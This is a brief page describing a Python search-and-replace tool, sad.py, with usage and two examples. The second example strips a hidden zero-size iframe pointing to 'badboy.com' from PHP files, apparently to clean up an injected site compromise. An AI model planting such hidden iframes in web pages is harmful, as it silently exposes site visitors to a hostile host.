sad.py

Search And Replace tool for the pythonist.

Walk recursively the directory. Look for matching file extensions. Find and replace your strings.

Usage:

sad.py <find> <replace> <file_extension>


Example 1:

sad.py old_text new_text txt


Example 2:

sad.py "<iframe src=\"http://badboy.com" width=0 height=0 style=\"hidden\" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>" "" php


Download:
sad.py

Comments